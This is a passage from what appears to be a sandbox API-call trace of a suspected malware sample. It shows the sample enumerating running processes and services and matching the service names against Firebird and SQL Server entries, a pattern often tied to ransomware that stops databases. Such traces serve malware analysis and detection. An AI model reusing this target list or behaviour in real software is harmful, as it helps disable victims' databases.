th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0071.224] lstrlenW (lpString="taskhostw.exe") returned 13 [0071.224] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0071.225] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0071.225] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0071.696] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0071.697] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="sc.exe")) returned 1 [0071.697] lstrlenW (lpString="sc.exe") returned 6 [0071.697] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0071.698] lstrlenW (lpString="UsoClient.exe") returned 13 [0071.698] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0071.699] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0071.699] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0071.699] lstrlenW (lpString="conhost.exe") returned 11 [0071.699] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1204, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0071.700] lstrlenW (lpString="conhost.exe") returned 11 [0071.700] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11fc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0071.700] lstrlenW (lpString="conhost.exe") returned 11 [0071.700] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.701] lstrlenW (lpString="svchost.exe") returned 11 [0071.701] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0071.702] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0071.702] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.702] lstrlenW (lpString="svchost.exe") returned 11 [0071.702] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x118c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0071.703] lstrlenW (lpString="cmd.exe") returned 7 [0071.703] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0071.703] lstrlenW (lpString="conhost.exe") returned 11 [0071.703] Process32NextW (in: hSnapshot=0x344, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0071.704] CloseHandle (hObject=0x344) returned 1 [0071.704] Sleep (dwMilliseconds=0x1f4) [0072.523] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4ceea0 [0072.524] EnumServicesStatusExW (in: hSCManager=0x4ceea0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 0 [0072.524] GetLastError () returned 0xea [0072.525] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1d5a) returned 0x4eeb48 [0072.525] EnumServicesStatusExW (in: hSCManager=0x4ceea0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4eeb48, cbBufSize=0x1d5a, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4eeb48, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 1 [0072.526] CloseServiceHandle (hSCObject=0x4ceea0) returned 1 [0072.526] lstrlenW (lpString="Appinfo") returned 7 [0072.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0072.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0072.526] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0072.526] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0072.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0072.526] lstrlenW (lpString="AppXSvc") returned 7 [0072.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0072.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0072.526] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0072.526] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0072.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0072.526] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0072.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0072.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0072.527] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0072.527] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0072.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0072.527] lstrlenW (lpString="Audiosrv") returned 8 [0072.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0072.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0072.527] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0072.527] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0072.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0072.527] lstrlenW (lpString="BFE") returned 3 [0072.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0072.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0072.527] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0072.527] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0072.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0072.527] lstrlenW (lpString="BITS") returned 4 [0072.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0072.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0072.527] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0072.527] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0072.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0072.527] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0072.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0072.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0072.527] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0072.527] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0072.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0072.527] lstrlenW (lpString="CDPSvc") returned 6 [0072.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0072.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0072.527] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0072.527] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0072.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0072.527] lstrlenW (lpString="ClickToRunSvc") returned 13 [0072.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0072.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0072.528] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0072.528] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0072.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0072.528] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0072.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0072.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0072.528] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0072.528] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0072.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0072.528] lstrlenW (lpString="CryptSvc") returned 8 [0072.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0072.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0072.528] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0072.528] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0072.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0072.528] lstrlenW (lpString="DcomLaunch") returned 10 [0072.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0072.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0072.528] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0072.528] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0072.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0072.528] lstrlenW (lpString="DeviceAssociationService") returned 24 [0072.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0072.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0072.528] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0072.528] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0072.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0072.528] lstrlenW (lpString="Dhcp") returned 4 [0072.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0072.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0072.528] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0072.528] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0072.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0072.529] lstrlenW (lpString="Dnscache") returned 8 [0072.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0072.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0072.529] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0072.529] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0072.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0072.529] lstrlenW (lpString="DoSvc") returned 5 [0072.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0072.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0072.529] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0072.529] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0072.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0072.529] lstrlenW (lpString="DPS") returned 3 [0072.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0072.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0072.529] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0072.529] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0072.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0072.529] lstrlenW (lpString="DusmSvc") returned 7 [0072.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0072.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0072.529] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0072.529] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0072.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0072.529] lstrlenW (lpString="EventLog") returned 8 [0072.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0072.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0072.529] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0072.529] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0072.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0072.529] lstrlenW (lpString="EventSystem") returned 11 [0072.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0072.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0072.529] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0072.530] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0072.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0072.530] lstrlenW (lpString="FontCache") returned 9 [0072.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0072.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0072.530] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0072.530] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0072.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0072.530] lstrlenW (lpString="gpsvc") returned 5 [0072.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0072.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0072.530] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0072.530] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0072.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0072.530] lstrlenW (lpString="iphlpsvc") returned 8 [0072.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0072.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0072.530] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0072.530] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0072.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0072.530] lstrlenW (lpString="KeyIso") returned 6 [0072.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0072.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0072.530] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0072.530] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0072.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0072.530] lstrlenW (lpString="LanmanServer") returned 12 [0072.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0072.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0072.530] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0072.530] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0072.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0072.530] lstrlenW (lpString="LanmanWorkstation") returned 17 [0072.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0072.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0072.531] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0072.531] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0072.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0072.531] lstrlenW (lpString="lfsvc") returned 5 [0072.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0072.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0072.531] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0072.531] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0072.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0072.531] lstrlenW (lpString="lmhosts") returned 7 [0072.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0072.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0072.531] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0072.531] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0072.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0072.531] lstrlenW (lpString="LSM") returned 3 [0072.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0072.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0072.531] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0072.531] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0072.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0072.531] lstrlenW (lpString="MapsBroker") returned 10 [0072.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0072.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0072.531] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0072.531] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0072.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0072.531] lstrlenW (lpString="MpsSvc") returned 6 [0072.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0072.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0072.531] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0072.531] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0072.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0072.531] lstrlenW (lpString="NcbService") returned 10 [0072.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0072.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0072.532] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0072.532] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0072.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0072.532] lstrlenW (lpString="netprofm") returned 8 [0072.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0072.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0072.532] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0072.532] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0072.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0072.532] lstrlenW (lpString="NlaSvc") returned 6 [0072.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0072.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0072.532] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0072.532] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0072.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0072.532] lstrlenW (lpString="nsi") returned 3 [0072.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0072.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0072.532] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0072.532] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0072.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0072.532] lstrlenW (lpString="PcaSvc") returned 6 [0072.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0072.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0072.532] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0072.532] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0072.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0072.532] lstrlenW (lpString="PlugPlay") returned 8 [0072.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0072.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0072.532] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0072.532] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0072.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0072.533] lstrlenW (lpString="Power") returned 5 [0072.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0072.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0072.533] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0072.533] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0072.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0072.533] lstrlenW (lpString="ProfSvc") returned 7 [0072.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0072.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0072.533] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0072.533] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0072.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0072.533] lstrlenW (lpString="RpcEptMapper") returned 12 [0072.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0072.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0072.533] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0072.533] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0072.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0072.533] lstrlenW (lpString="RpcSs") returned 5 [0072.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0072.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0072.533] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0072.533] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0072.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0072.533] lstrlenW (lpString="SamSs") returned 5 [0072.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0072.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0072.533] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0072.533] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0072.533] 